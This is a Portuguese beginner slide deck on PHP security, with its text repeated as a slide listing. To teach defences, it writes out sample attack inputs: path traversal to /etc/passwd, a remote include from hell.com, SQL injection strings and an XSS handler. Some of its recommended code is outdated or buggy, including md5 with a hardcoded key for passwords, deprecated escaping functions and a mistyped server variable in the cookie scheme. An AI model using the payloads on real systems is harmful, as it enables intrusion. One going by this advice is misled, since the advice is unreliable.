Hello SAFE World!!!
 Conceitos mínimos de segurança em PHP




              Dalmir da Silva
          dalmirdasilva@gmail.com

        Everaldo Wanderlei Uavniczak
           everaldouav@gmail.com
Sobre a apresentação

Nível:
Iniciante



Escopo:
Básico de segurança em Web, direcionado a PHP



Pré-requisitos:
Nenhum
Vantagens do PHP


fácil aprendizado



tipagem dinâmica (fraca)



é uma linguagem interpretada
Desvantagens do PHP


tipagem dinâmica



inicialização automática de variáveis



configurações padrão não priorizam a segurança
A função error_reporting()

Define quais erros serão reportados

Aconselhado em Desenvolvimento:
error_reporting(E_ALL|E_STRICT); // 6143
ou
error_reporting(2147483647);
Aconselhado em Produção
error_reporting(0);



Veja php.net/error_reporting
Reforçando: error_reporting


 CRIEM O HÁBITO
DE USAR A FUNÇÃO
  error_reporting()
   NO INÍCIO DO
    SCRIPT PHP
Casting
intval()
floatval()
strval()
(int), (integer) - molde para inteiro
(bool), (boolean) - converte para booleano
(float), (double), (real) para número de ponto flutuante
(string) - converte para string
(binary) - converte para string binária (PHP 6)
(array) - converte para array
(object) - converte para objeto
(unset) - converte para NULL (PHP 5)

settype (&$var , $type )
Verifique o tipo da variável

is_int()
is_float()
is_numeric()
is_string()
is_escalar () // int, float, string, bool
is_resource()
is_object()
is_numeric()
is_null()
is_array()
is_bool

gettype()
Register Globals

                           Padrão
PHP < 4.2.0: true
PHP >= 4.2.0: false
PHP 6:         false (diretiva removida)
Maioria dos servidores web = true

http://testepeste.com/index.php?teste=booo
if TRUE:
$teste = 'booo';
$_GET['teste'] = 'booo';

if FALSE
$_GET['teste'] = 'booo';
$teste = ??? ; // variável não setada
Registe Globals - Problemas

http://testepeste.com/?autorizado=true
<?php
if (usuario_autenticado()){
$autorizado = true;
}
if ($autorizado){
include '/dados/altamente/sensiveis.php';
}

http://testepeste.com/?arquivo=../../etc/passwd
<?php
include "meus_script/$arquivo";
Incluindo arquivos

   include() e include_once()
   require() e require_once()
   readfile()

Arquivos que precisam de processamento PHP
require($file);

if ( file_exists($file) ) {
    include($file);
} else {
    // tratamento de erro
}

Arquivos que não precisam de processamento PHP
readfile($file);
allow_url_include

        Padrão na maioria dos servidores web
allow_url_include = 'off'

<?php
include($_GET['file']);


http://testepeste.com/include.php?file=teste.
php

http://testepeste.com/include.php?file=http:
//hell.com/hahaha.txt
Pseudo-Casting

                Nome de Arquivos
$f=eregi_replace('[^a-zA-Z0-9_-]', '', $f);



                      CEP
$cep = eregi_replace('[^0-9-]', '', $cep);



                Data de Nascimento
$dn = eregi_replace('[^0-9/]', '', $dn);
Criptografia de senhas

                    Errado:

$senha = md5($senha);



                        Certo:

$privatekey =
'dfmlkashfdkjahbiHIUT*&gjvhsdsva87%RgGYR';

$senha=md5($privatekey.$senha.$privatekey);
SQL Injection
http://testepeste.com?relatorio.php?nome=Nome
SELECT * FROM `user` WHERE nome='Nome'
http://testepeste.com?relatorio.php?nome=' or 1
SELECT * FROM `user` WHERE nome=' ' or 1
-----------------------------------------------
http://testepeste.com?auth.php?
login=admin&passwd=123
SELECT * FROM `user` WHERE login='admin' AND passwd='123'
http://testepeste.com?auth.php?login=admin'#&passwd=
SELECT * FROM `user` WHERE login='admin'#' AND passwd=
-------------------------------------------------------
Se magic_quotes_gpc estiver on pode duplicar as barras,
entao use uma funcao
function my_escape_strings( $string ) {
   if ( !get_magic_quotes_gpc() )
         return mysql_escape_string( $string );
     else
         return $string;
}
XSS - Cross-Site Scripting
Consiste em Inserir conteúdo em HTML e JS no banco de
dados ou na página que quando exibidos fazem algo

   htmlentities()
   htmlspecialchars() //substitui

& (ampersand) torna-se '&amp;'
" (aspas dupla) torna-se '&quot;'
' (aspas simples) torna-se '&#039;'
< (menor que) torna-se '&lt;'
> (maior que) torna-se '&gt;'

   strip_tags() //remove
<p onmouseover='alert(1)'>algo</p> ficaria paenas algo
Arquivo de Senha

      SEMPRE FORA DA ÁRVORE WEB

Exemplo:

/index.php
/funcoes.php
/outros_milhares_de_arquivos.php

../xyz_super_secret_pass.php
Extensão dos arquivos .php


SEMPRE USEM EXTENSÕES .php

       JAMAIS USEM .inc

SE PRECISAREM, USEM .inc.php

.inc nao é interpretado como .php,
                óbvio
SESSION
session_start();
session_regenerate_id(true);

Ao registrar a sessão, grave o IP e verifique se ele mudou

if (!isset($_SESSION['ip'])) {
    $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
}

if ($_SESSION['ip'] !== $_SERVER
['REMOTE_ADDR']) {
    session_destroy();
    die('alguma mensagem');
}
COOKIE

Nunca salve somente o ID no cookie:
Exemplo:
cookie="100"

Use algo como
$cookie="100:7559e8cf919ecac5f918383ea07618b7"

sendo
$private_key = "djklHIU6*&%fytarsd76F67Gy7";
$validate = $_SERVER
['REMOTE_ADDRESS'].$id.$privatekey;

$cookie   = "$id:$validate";
Impeça acesso direto ao arquivo

Use constatante para controle:

// arquivo index.php
define ("TESTEPESTE_SECURITY", true);

// arquivos incluídos
if (!defined('TESTEPESTE_SECURITY')) {
      die ('Você não pode acessar esse arquivo
              diretamente') ;
}
// continua o script
Referência

http://shiflett.org/php-security.pdf
http://php.net/
http://phpsec.org/php-security-guide.pdf

Hello SAFE World!!!

  • 1.
    Hello SAFE World!!! Conceitos mínimos de segurança em PHP Dalmir da Silva dalmirdasilva@gmail.com Everaldo Wanderlei Uavniczak everaldouav@gmail.com
  • 2.
    Sobre a apresentação Nível: Iniciante Escopo: Básicode segurança em Web, direcionado a PHP Pré-requisitos: Nenhum
  • 3.
    Vantagens do PHP fácilaprendizado tipagem dinâmica (fraca) é uma linguagem interpretada
  • 4.
    Desvantagens do PHP tipagemdinâmica inicialização automática de variáveis configurações padrão não priorizam a segurança
  • 5.
    A função error_reporting() Definequais erros serão reportados Aconselhado em Desenvolvimento: error_reporting(E_ALL|E_STRICT); // 6143 ou error_reporting(2147483647); Aconselhado em Produção error_reporting(0); Veja php.net/error_reporting
  • 6.
    Reforçando: error_reporting CRIEMO HÁBITO DE USAR A FUNÇÃO error_reporting() NO INÍCIO DO SCRIPT PHP
  • 7.
    Casting intval() floatval() strval() (int), (integer) -molde para inteiro (bool), (boolean) - converte para booleano (float), (double), (real) para número de ponto flutuante (string) - converte para string (binary) - converte para string binária (PHP 6) (array) - converte para array (object) - converte para objeto (unset) - converte para NULL (PHP 5) settype (&$var , $type )
  • 8.
    Verifique o tipoda variável is_int() is_float() is_numeric() is_string() is_escalar () // int, float, string, bool is_resource() is_object() is_numeric() is_null() is_array() is_bool gettype()
  • 9.
    Register Globals Padrão PHP < 4.2.0: true PHP >= 4.2.0: false PHP 6: false (diretiva removida) Maioria dos servidores web = true http://testepeste.com/index.php?teste=booo if TRUE: $teste = 'booo'; $_GET['teste'] = 'booo'; if FALSE $_GET['teste'] = 'booo'; $teste = ??? ; // variável não setada
  • 10.
    Registe Globals -Problemas http://testepeste.com/?autorizado=true <?php if (usuario_autenticado()){ $autorizado = true; } if ($autorizado){ include '/dados/altamente/sensiveis.php'; } http://testepeste.com/?arquivo=../../etc/passwd <?php include "meus_script/$arquivo";
  • 11.
    Incluindo arquivos include() e include_once() require() e require_once() readfile() Arquivos que precisam de processamento PHP require($file); if ( file_exists($file) ) { include($file); } else { // tratamento de erro } Arquivos que não precisam de processamento PHP readfile($file);
  • 12.
    allow_url_include Padrão na maioria dos servidores web allow_url_include = 'off' <?php include($_GET['file']); http://testepeste.com/include.php?file=teste. php http://testepeste.com/include.php?file=http: //hell.com/hahaha.txt
  • 13.
    Pseudo-Casting Nome de Arquivos $f=eregi_replace('[^a-zA-Z0-9_-]', '', $f); CEP $cep = eregi_replace('[^0-9-]', '', $cep); Data de Nascimento $dn = eregi_replace('[^0-9/]', '', $dn);
  • 14.
    Criptografia de senhas Errado: $senha = md5($senha); Certo: $privatekey = 'dfmlkashfdkjahbiHIUT*&gjvhsdsva87%RgGYR'; $senha=md5($privatekey.$senha.$privatekey);
  • 15.
    SQL Injection http://testepeste.com?relatorio.php?nome=Nome SELECT *FROM `user` WHERE nome='Nome' http://testepeste.com?relatorio.php?nome=' or 1 SELECT * FROM `user` WHERE nome=' ' or 1 ----------------------------------------------- http://testepeste.com?auth.php? login=admin&passwd=123 SELECT * FROM `user` WHERE login='admin' AND passwd='123' http://testepeste.com?auth.php?login=admin'#&passwd= SELECT * FROM `user` WHERE login='admin'#' AND passwd= ------------------------------------------------------- Se magic_quotes_gpc estiver on pode duplicar as barras, entao use uma funcao function my_escape_strings( $string ) { if ( !get_magic_quotes_gpc() ) return mysql_escape_string( $string ); else return $string; }
  • 16.
    XSS - Cross-SiteScripting Consiste em Inserir conteúdo em HTML e JS no banco de dados ou na página que quando exibidos fazem algo htmlentities() htmlspecialchars() //substitui & (ampersand) torna-se '&amp;' " (aspas dupla) torna-se '&quot;' ' (aspas simples) torna-se '&#039;' < (menor que) torna-se '&lt;' > (maior que) torna-se '&gt;' strip_tags() //remove <p onmouseover='alert(1)'>algo</p> ficaria paenas algo
  • 17.
    Arquivo de Senha SEMPRE FORA DA ÁRVORE WEB Exemplo: /index.php /funcoes.php /outros_milhares_de_arquivos.php ../xyz_super_secret_pass.php
  • 18.
    Extensão dos arquivos.php SEMPRE USEM EXTENSÕES .php JAMAIS USEM .inc SE PRECISAREM, USEM .inc.php .inc nao é interpretado como .php, óbvio
  • 19.
    SESSION session_start(); session_regenerate_id(true); Ao registrar asessão, grave o IP e verifique se ele mudou if (!isset($_SESSION['ip'])) { $_SESSION['ip'] = $_SERVER['REMOTE_ADDR']; } if ($_SESSION['ip'] !== $_SERVER ['REMOTE_ADDR']) { session_destroy(); die('alguma mensagem'); }
  • 20.
    COOKIE Nunca salve somenteo ID no cookie: Exemplo: cookie="100" Use algo como $cookie="100:7559e8cf919ecac5f918383ea07618b7" sendo $private_key = "djklHIU6*&%fytarsd76F67Gy7"; $validate = $_SERVER ['REMOTE_ADDRESS'].$id.$privatekey; $cookie = "$id:$validate";
  • 21.
    Impeça acesso diretoao arquivo Use constatante para controle: // arquivo index.php define ("TESTEPESTE_SECURITY", true); // arquivos incluídos if (!defined('TESTEPESTE_SECURITY')) { die ('Você não pode acessar esse arquivo diretamente') ; } // continua o script
  • 22.